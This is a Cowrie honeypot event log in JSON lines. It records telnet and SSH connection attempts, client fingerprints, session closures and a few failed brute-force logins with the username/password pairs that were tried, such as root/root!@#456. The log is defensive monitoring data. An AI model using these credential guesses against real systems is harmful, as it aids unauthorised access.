{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":43636,"dst_ip":"159.203.135.109","dst_port":23,"session":"612907d678f2","protocol":"telnet","message":"New connection: 209.126.87.217:43636 (159.203.135.109:23) [session: 612907d678f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:22.632436Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":43650,"dst_ip":"159.203.135.109","dst_port":23,"session":"ede14f6c6bbd","protocol":"telnet","message":"New connection: 209.126.87.217:43650 (159.203.135.109:23) [session: ede14f6c6bbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:22.713246Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qwezxc","message":"login attempt [admin/qwezxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:22.809801Z","src_ip":"45.43.86.48","session":"cdc1bcaf8d67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.693450689315796,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:23.538501Z","src_ip":"209.126.87.217","session":"96511f102311","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:23.901259Z","src_ip":"45.43.86.48","session":"cdc1bcaf8d67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":43660,"dst_ip":"159.203.135.109","dst_port":23,"session":"5fc971566dbf","protocol":"telnet","message":"New connection: 209.126.87.217:43660 (159.203.135.109:23) [session: 5fc971566dbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:24.724414Z"}
{"eventid":"cowrie.session.closed","duration":120.00179147720337,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:25.753386Z","src_ip":"191.251.162.82","session":"d3fe13e9899c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.734986305236816,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:28.189773Z","src_ip":"209.126.87.217","session":"31ea61872aca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00149488449097,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:28.528217Z","src_ip":"191.251.162.82","session":"889951514f93","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":43662,"dst_ip":"159.203.135.109","dst_port":23,"session":"a972831cf193","protocol":"telnet","message":"New connection: 209.126.87.217:43662 (159.203.135.109:23) [session: a972831cf193]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:28.832036Z"}
{"eventid":"cowrie.session.closed","duration":33.100045680999756,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:29.067256Z","src_ip":"209.126.87.217","session":"9549f8a2e9f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.957622051239014,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:29.215026Z","src_ip":"209.126.87.217","session":"b1c216fda446","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":43666,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0974854ff10","protocol":"telnet","message":"New connection: 209.126.87.217:43666 (159.203.135.109:23) [session: b0974854ff10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:29.335505Z"}
{"eventid":"cowrie.session.closed","duration":120.00144577026367,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:30.320755Z","src_ip":"191.251.162.82","session":"acf6dbbebc74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":58488,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff440b679fda","protocol":"telnet","message":"New connection: 209.126.87.217:58488 (159.203.135.109:23) [session: ff440b679fda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:31.859434Z"}
{"eventid":"cowrie.session.connect","src_ip":"191.251.162.82","src_port":56882,"dst_ip":"159.203.135.109","dst_port":23,"session":"3637599531a5","protocol":"telnet","message":"New connection: 191.251.162.82:56882 (159.203.135.109:23) [session: 3637599531a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:32.018448Z"}
{"eventid":"cowrie.session.connect","src_ip":"72.27.54.238","src_port":54862,"dst_ip":"159.203.135.109","dst_port":23,"session":"45eb62e2b511","protocol":"telnet","message":"New connection: 72.27.54.238:54862 (159.203.135.109:23) [session: 45eb62e2b511]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:33.704311Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":58490,"dst_ip":"159.203.135.109","dst_port":23,"session":"90acdf6f4cc0","protocol":"telnet","message":"New connection: 209.126.87.217:58490 (159.203.135.109:23) [session: 90acdf6f4cc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:37.346991Z"}
{"eventid":"cowrie.session.closed","duration":36.418060541152954,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:37.777188Z","src_ip":"209.126.87.217","session":"9eb20f14b3cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00152111053467,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:38.702273Z","src_ip":"42.114.201.41","session":"77c8ddbdc87d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.92312455177307,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:39.919833Z","src_ip":"209.126.87.217","session":"0746d7824d7d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"42.114.201.41","src_port":61900,"dst_ip":"159.203.135.109","dst_port":23,"session":"fda25ca64beb","protocol":"telnet","message":"New connection: 42.114.201.41:61900 (159.203.135.109:23) [session: fda25ca64beb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:40.041660Z"}
{"eventid":"cowrie.session.closed","duration":32.891098976135254,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:40.210853Z","src_ip":"209.126.87.217","session":"faa02cde255b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00172233581543,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:40.755882Z","src_ip":"42.114.201.41","session":"43e1184148f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.132304430007935,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:40.828026Z","src_ip":"209.126.87.217","session":"19d038753037","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.616241931915283,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:41.344482Z","src_ip":"209.126.87.217","session":"fc18f09f7172","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"42.114.201.41","src_port":24035,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6188a06c6b0","protocol":"telnet","message":"New connection: 42.114.201.41:24035 (159.203.135.109:23) [session: a6188a06c6b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:41.905225Z"}
{"eventid":"cowrie.session.closed","duration":120.00138092041016,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:42.289666Z","src_ip":"42.114.201.41","session":"941a36f56fef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":56088,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8e6e66128e9","protocol":"telnet","message":"New connection: 209.126.87.217:56088 (159.203.135.109:23) [session: c8e6e66128e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:42.708047Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":56092,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed49e233b3fc","protocol":"telnet","message":"New connection: 209.126.87.217:56092 (159.203.135.109:23) [session: ed49e233b3fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:44.635983Z"}
{"eventid":"cowrie.session.connect","src_ip":"42.114.201.41","src_port":31338,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2e0e5994590","protocol":"telnet","message":"New connection: 42.114.201.41:31338 (159.203.135.109:23) [session: b2e0e5994590]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:45.227765Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":56108,"dst_ip":"159.203.135.109","dst_port":23,"session":"dccf5781acd3","protocol":"telnet","message":"New connection: 209.126.87.217:56108 (159.203.135.109:23) [session: dccf5781acd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:45.292002Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":56122,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5bde49c2922","protocol":"telnet","message":"New connection: 209.126.87.217:56122 (159.203.135.109:23) [session: d5bde49c2922]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:45.660276Z"}
{"eventid":"cowrie.session.closed","duration":30.648075103759766,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:47.405142Z","src_ip":"209.126.87.217","session":"060c81d74efc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.34956932067871,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:47.791871Z","src_ip":"209.126.87.217","session":"ce43ddd72fc4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":56136,"dst_ip":"159.203.135.109","dst_port":23,"session":"162fe4464be3","protocol":"telnet","message":"New connection: 209.126.87.217:56136 (159.203.135.109:23) [session: 162fe4464be3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:49.324634Z"}
{"eventid":"cowrie.session.closed","duration":34.81927037239075,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:51.957547Z","src_ip":"209.126.87.217","session":"d86bd9cf7a38","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":58788,"dst_ip":"159.203.135.109","dst_port":23,"session":"47622d74cabc","protocol":"telnet","message":"New connection: 209.126.87.217:58788 (159.203.135.109:23) [session: 47622d74cabc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:52.415972Z"}
{"eventid":"cowrie.session.closed","duration":35.25185513496399,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:52.645466Z","src_ip":"209.126.87.217","session":"1dcca63c40d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.95819711685181,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:53.244009Z","src_ip":"209.126.87.217","session":"6a654078fa22","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":58796,"dst_ip":"159.203.135.109","dst_port":23,"session":"a673a418c096","protocol":"telnet","message":"New connection: 209.126.87.217:58796 (159.203.135.109:23) [session: a673a418c096]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:53.798365Z"}
{"eventid":"cowrie.session.closed","duration":36.35854983329773,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:54.357462Z","src_ip":"209.126.87.217","session":"2efdb72c153a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58650,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5ea29f2517f","protocol":"ssh","message":"New connection: 159.203.92.129:58650 (159.203.135.109:22) [session: f5ea29f2517f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:54.434276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:54.439158Z","src_ip":"159.203.92.129","session":"f5ea29f2517f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:54.444229Z","src_ip":"159.203.92.129","session":"f5ea29f2517f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"Hello123","message":"login attempt [ansible/Hello123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:54.456029Z","src_ip":"159.203.92.129","session":"f5ea29f2517f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.96115756034851,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:55.305055Z","src_ip":"209.126.87.217","session":"43b0c928b69c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.69712209701538,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:55.329417Z","src_ip":"209.126.87.217","session":"612907d678f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:55.462184Z","src_ip":"159.203.92.129","session":"f5ea29f2517f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.79233765602112,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:55.505534Z","src_ip":"209.126.87.217","session":"ede14f6c6bbd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.65545678138733,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:55.786297Z","src_ip":"209.126.87.217","session":"d2eeeff078a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.754167556762695,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:59.478475Z","src_ip":"209.126.87.217","session":"5fc971566dbf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":60392,"dst_ip":"159.203.135.109","dst_port":23,"session":"3910bf546217","protocol":"telnet","message":"New connection: 209.126.87.217:60392 (159.203.135.109:23) [session: 3910bf546217]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:02:00.415579Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":60400,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee3452938352","protocol":"telnet","message":"New connection: 209.126.87.217:60400 (159.203.135.109:23) [session: ee3452938352]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:02:01.414922Z"}
{"eventid":"cowrie.session.closed","duration":33.26397395133972,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:02:02.095828Z","src_ip":"209.126.87.217","session":"a972831cf193","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.6126754283905,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:02:02.947904Z","src_ip":"209.126.87.217","session":"b0974854ff10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":39742,"dst_ip":"159.203.135.109","dst_port":22,"session":"09ec12a368b2","protocol":"ssh","message":"New connection: 171.244.141.86:39742 (159.203.135.109:22) [session: 09ec12a368b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:02:03.523092Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:02:03.528304Z","src_ip":"171.244.141.86","session":"09ec12a368b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:02:03.778574Z","src_ip":"171.244.141.86","session":"09ec12a368b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root!@#456","message":"login attempt [root/root!@#456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:02:04.811180Z","src_ip":"171.244.141.86","session":"09ec12a368b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.347856760025024,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:02:05.207020Z","src_ip":"209.126.87.217","session":"ff440b679fda","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:02:06.064524Z","src_ip":"171.244.141.86","session":"09ec12a368b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.168","src_port":38866,"dst_ip":"159.203.135.109","dst_port":22,"session":"da99216da6cd","protocol":"ssh","message":"New connection: 80.94.92.168:38866 (159.203.135.109:22) [session: da99216da6cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:02:09.640303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:02:09.681091Z","src_ip":"80.94.92.168","session":"da99216da6cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:02:09.811967Z","src_ip":"80.94.92.168","session":"da99216da6cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":60796,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4f53081f46d","protocol":"telnet","message":"New connection: 185.26.126.47:60796 (159.203.135.109:23) [session: a4f53081f46d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:02:10.722524Z"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:02:10.801738Z","src_ip":"80.94.92.168","session":"da99216da6cd","protocol":"ssh"}
